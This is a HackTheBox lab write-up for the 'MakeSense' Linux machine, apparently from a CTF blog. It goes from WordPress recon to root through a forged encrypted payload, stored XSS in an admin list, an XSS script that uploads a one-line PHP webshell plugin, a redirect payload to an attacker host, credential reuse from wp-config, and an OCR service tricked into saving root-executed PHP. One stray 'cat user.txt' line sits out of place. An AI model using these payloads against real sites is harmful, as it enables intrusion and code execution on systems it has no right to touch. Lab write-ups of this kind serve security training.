Skip to content

MakeSense Writeup - HackTheBox

Medium Linux

Created June 15, 2026 • Last updated November 1, 2026 • 9 min read

Joshua

HackIndex Creator

Reconnaissance

Add the target to hosts and run a full TCP scan.

┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP $DOMAIN
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 --min-rate 1000 --open $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,443 $TARGET_IP
PORT    STATE SERVICE
22/tcp  open  ssh
443/tcp open  ssl/http

22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu
443/tcp open  ssl/http Apache 2.4.58
|_http-generator: WordPress 7.0
|_http-title: Agency LLC

Only SSH and HTTPS. No mail, no other web ports. Everything routes through the WordPress app.

Run wpscan against the theme and users.

┌──(kali㉿kali)-[~]
└─$ wpscan --url https://$DOMAIN --enumerate u,vp,vt --disable-tls-checks
[+] webagency
 | Location: https://$DOMAIN/wp-content/themes/webagency/
 | Version: 1.0 (80% confidence)
 | Author: WebAgency Team

[+] User(s) Identified:
[+] walter
[+] admin
[+] jake

Custom theme (webagency), not a public plugin, so no CVE database is going to help here. Three usernames confirmed via author-id brute forcing and login error messages. Next step is reading the theme's own JS, since custom code is where the bugs will be.

Vulnerability Discovery

Mapping the custom feature

The homepage links two theme-specific scripts:

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/ | grep -oE '(src|href)="[^"]*webagency[^"]*"' | sort -u
src="https://$DOMAIN/wp-content/themes/webagency/assets/js/main.js?ver=1.0"
src="https://$DOMAIN/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0"

The site has a "Call us" widget: click it, a synthetic voice asks you to leave a message, your mic is recorded, and the audio is transcribed client-side in the browser using Transformers.js running a Whisper model served from the theme's own model bundle. A summary is generated, then both are uploaded.

Pull both scripts and the localized AJAX config:

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/wp-content/themes/webagency/assets/js/main.js -o main.js
┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js -o whisper-wrapper.js
┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/ | grep -oE "webagency_ajax = \{[^;]*\};"
webagency_ajax = {"ajax_url":"https://$DOMAIN/wp-admin/admin-ajax.php","nonce":"<nonce>","theme_url":"...","site_url":"..."};

The fake encryption

whisper-wrapper.js encrypts the transcription payload before sending it, but the key is baked into the client:

const ENCRYPTION_KEY = '<hardcoded-key-string>';
// key = SHA-256(ENCRYPTION_KEY)
// random 12-byte IV
// AES-256-GCM
// output = base64(iv + ciphertext + tag)

Since the key ships to every browser, this buys zero integrity. Anyone can forge an encrypted blob the server will decrypt and trust. The same file also has an applySymbolMapping() function that maps spoken phrases ("open bracket", "quote", "slash") to symbols, meant so a spoken message can spell out an XSS payload through the transcription pipeline. That confirms the intended attack surface without needing to actually record audio.

Reimplemented the scheme in Python (pycryptodome, in a project venv) and round-trip tested it against known plaintext to confirm it matches WebCrypto's output exactly.

from Crypto.Cipher import AES
import hashlib, os, json, base64

ENCRYPTION_KEY = b"<hardcoded-key-string>"

def encrypt_payload(transcription, summary):
    key = hashlib.sha256(ENCRYPTION_KEY).digest()
    iv = os.urandom(12)
    payload = json.dumps({"transcription": transcription, "summary": summary}).encode()
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
    ciphertext, tag = cipher.encrypt_and_digest(payload)
    return base64.b64encode(iv + ciphertext + tag).decode()

Mapping the AJAX flow

Two relevant admin-ajax.php actions, both nopriv (unauthenticated):

action=save_voice_raw     -> multipart voice_recording (wav), creates its OWN new
                              contact_submission post titled "Voice Call - <timestamp>",
                              ignores any post_id you pass it
action=save_voice_results -> post_id + encrypted_payload, decrypts server-side and
                              stores transcription/summary as POSTMETA

That last point matters. WordPress runs post_content/post_title through wp_kses before saving, but a handler calling update_post_meta() directly bypasses that filter. Confirmed by testing the plain contact form's message field (which goes through post_content) against the transcription field.

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
--data-urlencode "action=submit_contact_form" \
--data-urlencode "nonce=<nonce>" \
--data-urlencode "name=MsgTest" \
--data-urlencode "email=msgtest@test.com" \
--data-urlencode "phone=123" \
--data-urlencode "message=<img src=x onerror=alert(1)><script>alert(2)</script><b>bold</b> plain text"

REST readback of the stored post:

┌──(kali㉿kali)-[~]
└─$ curl -sk "https://$DOMAIN/?rest_route=/wp/v2/contact_submission/<id>"
"content":{"rendered":"<p><img decoding=\"async\" src=\"x\">alert(2)<b>bold</b> plain text here</p>\n"}

onerror stripped, <script> stripped, <b> survived. Standard wp_kses_post behavior. So the plain contact form fields are a dead end for XSS. The transcription/summary postmeta fields are not run through the same filter, that is the real injection point.

Initial Access

Forging a voice-call submission

┌──(kali㉿kali)-[~]
└─$ NONCE=$(curl -sk https://$DOMAIN/ | grep -oE '"nonce":"[a-f0-9]+"' | cut -d'"' -f4)
 
┌──(kali㉿kali)-[~]
└─$ RESP=$(curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
-F "action=save_voice_raw" -F "nonce=$NONCE" \
-F "voice_recording=@voice-message.wav;type=audio/wav")
┌──(kali㉿kali)-[~]
└─$ PID=$(echo "$RESP" | grep -oE '"post_id":[0-9]+' | grep -oE '[0-9]+')
cat /home/walter/user.txt

save_voice_raw always creates its own post and returns its own post_id. Attaching save_voice_results to a post ID from the contact form (a different feature) instead of the one save_voice_raw just returned means the resulting entry has no audio attached and may not render right in the admin view. Use the post_id this call returns, not one from submit_contact_form.

XSS='<img src=x onerror="location=\"http://$ATTACKER_IP:$ATTACKER_PORT/hit\"">'
ENC=$(python3 encrypt_payload.py "$XSS" "test summary")

curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
  -F "action=save_voice_results" -F "nonce=$NONCE" -F "post_id=$PID" -F "encrypted_payload=$ENC"

Accepted server-side. Whether it fires depends on an admin (or automated reviewer) actually viewing the dashboard.

A credential hiding in a seed audio file

Directory listing is enabled under uploads:

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/wp-content/uploads/2026/01/
<a href="voice-message.wav">voice-message.wav</a>

This is a pre-existing seed recording, not something we uploaded. Downloaded it and transcribed it locally with openai-whisper (installed in the project venv, no internet dependency on the target needed):

┌──(kali㉿kali)-[~]
└─$ pip install openai-whisper
┌──(kali㉿kali)-[~]
└─$ python3 -c "
import whisper
model = whisper.load_model('medium')
result = model.transcribe('voice-message.wav')
print(result['text'])
"
hey this is jake, i'm testing the new feature and it's exciting, i'm going there oops
login um jake ... ... ... ... 4923

Someone recorded themselves reading out a login. That gives WordPress credentials for jake:

$USER: jake
$JAKES_PASSWORD

Confirming the sink with a low-priv login

┌──(kali㉿kali)-[~]
└─$ curl -sk -c cookies.txt https://$DOMAIN/wp-login.php \
--data-urlencode "log=jake" \
--data-urlencode "pwd=$JAKES_PASSWORD" \
--data-urlencode "wp-submit=Log In" \
--data-urlencode "redirect_to=https://$DOMAIN/wp-admin/"

jake's role is contributor (confirmed via authenticated REST call to /wp/v2/users/me), no plugin, theme, or user management capability. plugins.php, theme-editor.php, users.php all return 403. No direct privilege escalation from this account, but logging into the real Contact Submissions admin list confirms the theory:

┌──(kali㉿kali)-[~]
└─$ curl -sk -b cookies.txt "https://$DOMAIN/wp-admin/edit.php?post_type=contact_submission"

The planted <img onerror=...> payload shows up completely raw and unescaped in the rendered HTML of the admin list table. The sink is real. jake cannot exploit it himself, but an administrator viewing the same page will execute it.

From blind XSS to RCE

Cookie exfiltration will not work against this target (the session cookie behaves as HttpOnly), so instead of stealing a cookie, use the XSS to perform a privileged action directly inside the admin's authenticated browser session. Cookies are attached automatically on same-origin requests regardless of HttpOnly.

Build a minimal one-file WordPress plugin as a webshell:

<?php
/* Plugin Name: sh */
if (isset($_GET['cmd'])) system($_GET['cmd']);
┌──(kali㉿kali)-[~]
└─$ zip -j sh.zip sh.php
┌──(kali㉿kali)-[~]
└─$ base64 -w0 sh.zip

Payload, stored raw in the transcription postmeta (no HTML-attribute escaping needed since it is not filtered):

<script>
(async()=>{
  const r1 = await fetch('/wp-admin/plugin-install.php?tab=upload');
  const nonce = (await r1.text()).match(/name="_wpnonce" value="([a-f0-9]+)"/)[1];
  const bytes = Uint8Array.from(atob("<BASE64_ZIP>"), c=>c.charCodeAt(0));
  const fd = new FormData();
  fd.append('_wpnonce', nonce);
  fd.append('pluginzip', new Blob([bytes]), 'sh.zip');
  fd.append('install-plugin-submit', 'Install Now');
  await fetch('/wp-admin/update.php?action=upload-plugin', {method:'POST', body:fd});
})();
</script>

Encrypt and plant it exactly like the earlier test payload, on a fresh save_voice_raw/save_voice_results pair. WordPress's plugin-zip installer only checks for a valid plugin header before extracting, it does not require the plugin to be "activated" for its PHP file to be reachable, Apache will execute any .php under the web root directly.

An automated reviewer visits the dashboard periodically (confirmed later via ps aux, a headless Chrome instance driven by a Python automation script), triggers the stored script, and the plugin gets installed.

┌──(kali㉿kali)-[~]
└─$ curl -sk "https://$DOMAIN/wp-content/plugins/sh/sh.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data.

Post-Exploitation

Credential reuse from wp-config.php

┌──(kali㉿kali)-[~]
└─$ curl -sk "https://$DOMAIN/wp-content/plugins/sh/sh.php?cmd=cat+/var/www/html/wp-config.php"
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', '$WALTERS_PASSWORD' );

The site actually uses SQLite, so these MySQL fields are unused dummy values, but the password is reused for the real walter system account.

┌──(kali㉿kali)-[~]
└─$ ssh walter@$DOMAIN

Login succeeds. User-level shell obtained.

Enumerating for privilege escalation

walter@makesense ~ $ sudo -l
Sorry, user walter may not run sudo on makesense.

No sudo rights, no exploitable SUID binaries. Check running processes instead.

walter@makesense ~ $ ps aux
admin   /bin/sh -c PREY_BASE_URL=https://$DOMAIN PREY_HEADLESS=true /usr/bin/python3 /home/admin/.process/prey-unified.py
admin   /home/admin/.wdm/drivers/chromedriver/.../chromedriver --port=<port>
admin   /opt/google/chrome/chrome --headless=new ...
root    /bin/sh -c /root/.scripts/start_ocr4.sh
root    php -S 127.0.0.1:8001 -t /root/ocr4/

Two things confirmed here. First, the "admin bot" that reviewed the XSS payload is exactly what it looked like, a Python automation script driving headless Chrome as user admin. Second, root runs a local-only PHP web app on port 8001.

Root via a local OCR service

The service requires HTTP Basic Auth:

walter@makesense ~ $ curl -s -i http://127.0.0.1:8001/
HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="OCR Protected"

walter's password works here too.

walter@makesense ~ $ curl -s -o /dev/null -w '%{http_code}' -u "walter:$WALTERS_PASSWORD" http://127.0.0.1:8001/
200

The app lets you draw text on a canvas, runs it through tesseract OCR, and offers a "Save as" form with a free-text filename, written under /root/ocr4/saved/. Since this PHP built-in server runs as root and serves any file inside its own docroot, saving recognized text as a .php file is code execution as root, provided the OCR reads back exact PHP syntax.

Render the payload locally with PIL and a monospace font:

from PIL import Image, ImageDraw, ImageFont
font = ImageFont.truetype("/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf", 50)
text = "<?php system($_GET[0]);"
img = Image.new("RGB", (900, 160), "white")
d = ImageDraw.Draw(img)
d.text((20, 40), text, fill="black", font=font)
img.save("payload.png")

OCR read this back as <?php system($ GET[0]);. The underscore in $_GET is dropped or misread as a space by tesseract, consistently, across font sizes and weights. Rather than fight the OCR, avoid the character class entirely. PHP heredoc syntax needs no underscore and no quotes, so hardcode the command directly instead of reading a request parameter:

text = "<?php system(<<<E\nid\nE);"

That rendered and OCR'd back exactly, byte for byte:

<?php system(<<<E
id
E);

Full cycle: recognize, then save with a .php filename, then request the saved file.

walter@makesense ~ $ curl -s -c cj.txt -u "walter:$WALTERS_PASSWORD" -X POST http://127.0.0.1:8001/ \
--data-urlencode "canvas_image=data:image/png;base64,$(base64 -w0 payload.png)"
 
walter@makesense ~ $ OCR_ID=$(grep -oE 'ocr_id" value="[^"]+"' response.html | cut -d'"' -f3)
 
walter@makesense ~ $ curl -s -b cj.txt -c cj.txt -u "walter:$WALTERS_PASSWORD" -X POST http://127.0.0.1:8001/ \
--data-urlencode "ocr_id=$OCR_ID" \
--data-urlencode "filename=shell.php" \
--data-urlencode "save_output=Save"
 
walter@makesense ~ $ curl -s -u "walter:$WALTERS_PASSWORD" http://127.0.0.1:8001/saved/shell.php
uid=0(root) gid=0(root) groups=0(root)

Root code execution confirmed. Re-render the same heredoc template with any command needed for further post-exploitation, save under a new filename each time, and request it.